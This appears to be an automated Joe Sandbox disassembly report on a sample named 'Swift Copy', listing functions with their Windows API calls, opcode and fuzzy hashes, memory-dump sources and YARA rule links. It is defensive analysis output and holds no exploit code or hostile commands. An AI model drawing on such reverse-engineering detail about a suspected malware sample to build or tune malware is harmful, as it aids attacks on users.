Opcode Fuzzy Hash: 8ec4d78519c78d2b753c46b05d4c25e71d05f4621f9d3fca89d120291f39222d
Instruction Fuzzy Hash: CC21B235604111AFD7149B24CC48FAA77A5EF45328F24825DF5169B6D2CB71EC82C7A0

Function 00DD78F5 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 71stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DD8D7D: lstrlenW.KERNEL32(?,00000002,000000FF,?,?,?,00DD790A,?,000000FF,?,00DD8754,00000000,?,0000001C,?,?), ref: 00DD8D8C
Part of subcall function 00DD8D7D: lstrcpyW.KERNEL32(00000000,?), ref: 00DD8DB2
Part of subcall function 00DD8D7D: lstrcmpiW.KERNEL32(00000000,?,00DD790A,?,000000FF,?,00DD8754,00000000,?,0000001C,?,?), ref: 00DD8DE3

lstrlenW.KERNEL32(?,00000002,000000FF,?,000000FF,?,00DD8754,00000000,?,0000001C,?,?,00000000), ref: 00DD7923
lstrcpyW.KERNEL32(00000000,?), ref: 00DD7949
lstrcmpiW.KERNEL32(00000002,cdecl,?,00DD8754,00000000,?,0000001C,?,?,00000000), ref: 00DD7984

Strings

cdecl, xrefs: 00DD797B

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: 58191a6cc46e84500cbddbedbc7d472f7666acb735ead1a69d73ca8d465fc40d
Instruction ID: 498b6f1bd637ff7030ed1b81e004e7ab6759bba3110f8aa7ea8a8c912b89baae
Opcode Fuzzy Hash: 58191a6cc46e84500cbddbedbc7d472f7666acb735ead1a69d73ca8d465fc40d
Instruction Fuzzy Hash: 6911AF3A200202AFCB25AF35D855D7A77A9FF85350B50406BF946C73A4EB329851DBB1

Function 00E07CC2 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000F0), ref: 00E07D0B
SetWindowLongW.USER32(00000000,000000F0,?), ref: 00E07D2A
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 00E07D42
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00DEB7AD,00000000), ref: 00E07D6B

Part of subcall function 00D89BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00D89BB2

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Window$Long
String ID:
API String ID: 847901565-0
Opcode ID: d4f9e71ee74e4cb392420f707a726c915a56751e75338a7c835a035f45141016
Instruction ID: f8430d5eb6d33d6a9a721755ba1f189ceb72c80c63cd2c5a350ebb4ac3df7b56
Opcode Fuzzy Hash: d4f9e71ee74e4cb392420f707a726c915a56751e75338a7c835a035f45141016
Instruction Fuzzy Hash: 23110F31A04614AFCB108F29CC04AA63BA4EF86364B205324F979E72F0E731E9D1CB50

Function 00E05660 Relevance: 6.1, APIs: 4, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001060,?,00000004), ref: 00E056BB
_wcslen.LIBCMT ref: 00E056CD
_wcslen.LIBCMT ref: 00E056D8
SendMessageW.USER32(?,00001002,00000000,?), ref: 00E05816

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: MessageSend_wcslen
String ID:
API String ID: 455545452-0
Opcode ID: 055ad85a9485d290a5951a3dce3c958bf3e8ad9eaa640325b6eef163426b00b5
Instruction ID: 1ec368aeee353fcf52ac71aa23b70d57d443f8df30362a4f501fcdd96b454c0b
Opcode Fuzzy Hash: 055ad85a9485d290a5951a3dce3c958bf3e8ad9eaa640325b6eef163426b00b5
Instruction Fuzzy Hash: 1911A276600608A6DF209B61DC85AFF77ACEF11764B50512AF916B60C1EB7089C5CF60

Function 00DD1A27 Relevance: 6.1, APIs: 4, Instructions: 56windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 00DD1A47
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00DD1A59
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00DD1A6F
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00DD1A8A

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 6c2161b7046f55201632b397be991bff79a214b7cce4b41aea19fb47403144da
Instruction ID: 602236a5ea570f32eb0683436bc4387e6785d76c0250bb469a958ed1e534f6a0
Opcode Fuzzy Hash: 6c2161b7046f55201632b397be991bff79a214b7cce4b41aea19fb47403144da
Instruction Fuzzy Hash: B2110C3AD01219FFEB11DBA5CD85FADBB78EB04750F200092E604B7290D6716E51DB94

Function 00DDE1D6 Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00DDE1FD
MessageBoxW.USER32(?,?,?,?), ref: 00DDE230
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00DDE246
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00DDE24D

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait
String ID:
API String ID: 2880819207-0
Opcode ID: 0a423dab36ee21583a315c8b710b3308348a605c4d2be826caeb587e587016fc
Instruction ID: e45d5d896533d9a74413062958155f4fd38996958ab3a31cbae119267c043edd
Opcode Fuzzy Hash: 0a423dab36ee21583a315c8b710b3308348a605c4d2be826caeb587e587016fc
Instruction Fuzzy Hash: 7A110876904214BFCB01AFA99C05A9F7FAC9B45310F14435AF914F7391D271D94887B0

Function 00D9D1CC Relevance: 6.1, APIs: 4, Instructions: 55threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,?,00D9CFF9,00000000,00000004,00000000), ref: 00D9D218
GetLastError.KERNEL32 ref: 00D9D224
__dosmaperr.LIBCMT ref: 00D9D22B
ResumeThread.KERNEL32(00000000), ref: 00D9D249

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Thread$CreateErrorLastResume__dosmaperr
String ID:
API String ID: 173952441-0
Opcode ID: ba9be968f4552223c4b597321bd7a14fdb2f8de39749f3cc6327c71b2e57b811
Instruction ID: 4d373d2a84ae845f39bb624bdf378a9cdcc27a7eebf25dfdbd0ae686d5883392
Opcode Fuzzy Hash: ba9be968f4552223c4b597321bd7a14fdb2f8de39749f3cc6327c71b2e57b811
Instruction Fuzzy Hash: 7401F536805204BFCF115BA6DC09BAE7A6ADF82730F240319F925E61D0CB71C945C6B0

Function 00D7600E Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00D7604C
GetStockObject.GDI32(00000011), ref: 00D76060
SendMessageW.USER32(00000000,00000030,00000000), ref: 00D7606A

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: 9e25b7a4b76eba6e7aa71490b5d8db242a503e17206fbe8752c7574db2175da2
Instruction ID: 12c7bfdaf1260b0e340bf2caf4732f5da30a04d99a81406faeb56a8fcc793141
Opcode Fuzzy Hash: 9e25b7a4b76eba6e7aa71490b5d8db242a503e17206fbe8752c7574db2175da2
Instruction Fuzzy Hash: AC11A172501908BFEF124FA4DC44EEA7B69FF18364F144206FA0852010E732DCA0DFA0

Function 00D93B3C Relevance: 6.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 00D93B56

Part of subcall function 00D93AA3: BuildCatchObjectHelperInternal.LIBVCRUNTIME ref: 00D93AD2
Part of subcall function 00D93AA3: ___AdjustPointer.LIBCMT ref: 00D93AED

_UnwindNestedFrames.LIBCMT ref: 00D93B6B
__FrameHandler3::FrameUnwindToState.LIBVCRUNTIME ref: 00D93B7C
CallCatchBlock.LIBVCRUNTIME ref: 00D93BA4

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Catch$BuildFrameObjectUnwind$AdjustBlockCallFramesHandler3::HelperInternalNestedPointerState
String ID:
API String ID: 737400349-0
Opcode ID: 12ea49abee573113f57dbd3ec3a577afcc9c348439d29e6cbe32e78011ac24d3
Instruction ID: e4232d7f99a2579dc8acb75cf546af5f4a7fe8eaf61191aaeac778c928903f68
Opcode Fuzzy Hash: 12ea49abee573113f57dbd3ec3a577afcc9c348439d29e6cbe32e78011ac24d3
Instruction Fuzzy Hash: 7A01E932100149BBDF126E95CC46EEB7B6AEF58758F044014FE4896121C732E962EBB0

Function 00DA3073 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00D713C6,00000000,00000000,?,00DA301A,00D713C6,00000000,00000000,00000000,?,00DA328B,00000006,FlsSetValue), ref: 00DA30A5
GetLastError.KERNEL32(?,00DA301A,00D713C6,00000000,00000000,00000000,?,00DA328B,00000006,FlsSetValue,00E12290,FlsSetValue,00000000,00000364,?,00DA2E46), ref: 00DA30B1
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00DA301A,00D713C6,00000000,00000000,00000000,?,00DA328B,00000006,FlsSetValue,00E12290,FlsSetValue,00000000), ref: 00DA30BF

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: e75becd8141df120a7c5ecfa94290e24851f52df56b0a16064d6e31f5a63fa83
Instruction ID: b546487f0ca5d528bce5f40b4cb8ab4f8f749741eea6fa93e3d2bfc9cedd7ca3
Opcode Fuzzy Hash: e75becd8141df120a7c5ecfa94290e24851f52df56b0a16064d6e31f5a63fa83
Instruction Fuzzy Hash: 8501F732301622AFCB314F7A9C44A577B99AF07BA1B340720F945F3190C722D945C6F4

Function 00DD7464 Relevance: 6.1, APIs: 4, Instructions: 51registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000), ref: 00DD747F
LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 00DD7497
RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 00DD74AC
RegisterTypeLibForUser.OLEAUT32(?,?,00000000), ref: 00DD74CA

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: e6702ac207e2d2422681ec5051ac1de67c69a8770464e3364c95ceca61bf9b1a
Instruction ID: 5de5a471b69d9bc3f77ca55e743af0ba3df93e86f92e7912c9ff1b825a6fbcbf
Opcode Fuzzy Hash: e6702ac207e2d2422681ec5051ac1de67c69a8770464e3364c95ceca61bf9b1a
Instruction Fuzzy Hash: B011C4B12053109FE7218F54DC08F92BFFCFB00B00F1085AAA666D6291E771E948DB60

Function 00DDB0A8 Relevance: 6.0, APIs: 4, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,00DDACD3,?,00008000), ref: 00DDB0C4
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,00DDACD3,?,00008000), ref: 00DDB0E9
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,00DDACD3,?,00008000), ref: 00DDB0F3
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,00DDACD3,?,00008000), ref: 00DDB126

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: 9c157ab1dc004d607866828436e83060da48728a1854d95f4f4bff7cab98e86c
Instruction ID: 6e1e94b403b83c6701dfc7473b09a0e563e19eeefc28e1f463625cd3aa2baf27
Opcode Fuzzy Hash: 9c157ab1dc004d607866828436e83060da48728a1854d95f4f4bff7cab98e86c
Instruction Fuzzy Hash: F1115E31C0162CDBCF00AFE5D959AFEBB78FF0A725F124187D941B2241CB3095948BA1

Function 00DD2DA7 Relevance: 6.0, APIs: 4, Instructions: 34threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00DD2DC5
GetWindowThreadProcessId.USER32(?,00000000), ref: 00DD2DD6
GetCurrentThreadId.KERNEL32 ref: 00DD2DDD
AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 00DD2DE4

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: 7da2a86503ee24e375bc1590faa369439a3f3bc5b14448a4cb7161aa4d6c3283
Instruction ID: df641b4abfb2a4fcf8a264fb5b2bdd05c0c3a33261d8b473578d261443a562c4
Opcode Fuzzy Hash: 7da2a86503ee24e375bc1590faa369439a3f3bc5b14448a4cb7161aa4d6c3283
Instruction Fuzzy Hash: F6E06DB11012247AD7201BA3AC0DEFB3E6DEB56FA1F140216B106E11809AA6C888C6F0

Function 00E08863 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00D89639: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00D89693
Part of subcall function 00D89639: SelectObject.GDI32(?,00000000), ref: 00D896A2
Part of subcall function 00D89639: BeginPath.GDI32(?), ref: 00D896B9
Part of subcall function 00D89639: SelectObject.GDI32(?,00000000), ref: 00D896E2

MoveToEx.GDI32(?,00000000,00000000,00000000), ref: 00E08887
LineTo.GDI32(?,?,?), ref: 00E08894
EndPath.GDI32(?), ref: 00E088A4
StrokePath.GDI32(?), ref: 00E088B2

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: c1ad203d9ab6e74db58fb9bca32bf96ebd60b81746b8bff510ff6c9b6fa5c114
Instruction ID: f05eb49000e37c711071195388f2e1cba40fdc7cab4500cfb20df8ad8efa311d
Opcode Fuzzy Hash: c1ad203d9ab6e74db58fb9bca32bf96ebd60b81746b8bff510ff6c9b6fa5c114
Instruction Fuzzy Hash: 34F09A36002218FAEB122F95AC0AFCA3E29AF46310F548100FB01710E1C7760595CBE5

Function 00D898B0 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 00D898CC
SetTextColor.GDI32(?,?), ref: 00D898D6
SetBkMode.GDI32(?,00000001), ref: 00D898E9
GetStockObject.GDI32(00000005), ref: 00D898F1

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Color$ModeObjectStockText
String ID:
API String ID: 4037423528-0
Opcode ID: ac4ef964bd43fd7385fdb2ae9769a7df12d344128b9ca171557c968580cac554
Instruction ID: 2932c57328d53e4515e7ea746ea758c810646db1aabdd845e861f117f9d40e75
Opcode Fuzzy Hash: ac4ef964bd43fd7385fdb2ae9769a7df12d344128b9ca171557c968580cac554
Instruction Fuzzy Hash: 05E06531244240AEDB215B75AC09BE83F21AB11335F188319F6F9640E1C37246959F20

Function 00DD162B Relevance: 6.0, APIs: 4, Instructions: 22threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00DD1634
OpenThreadToken.ADVAPI32(00000000,?,?,?,00DD11D9), ref: 00DD163B
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,00DD11D9), ref: 00DD1648
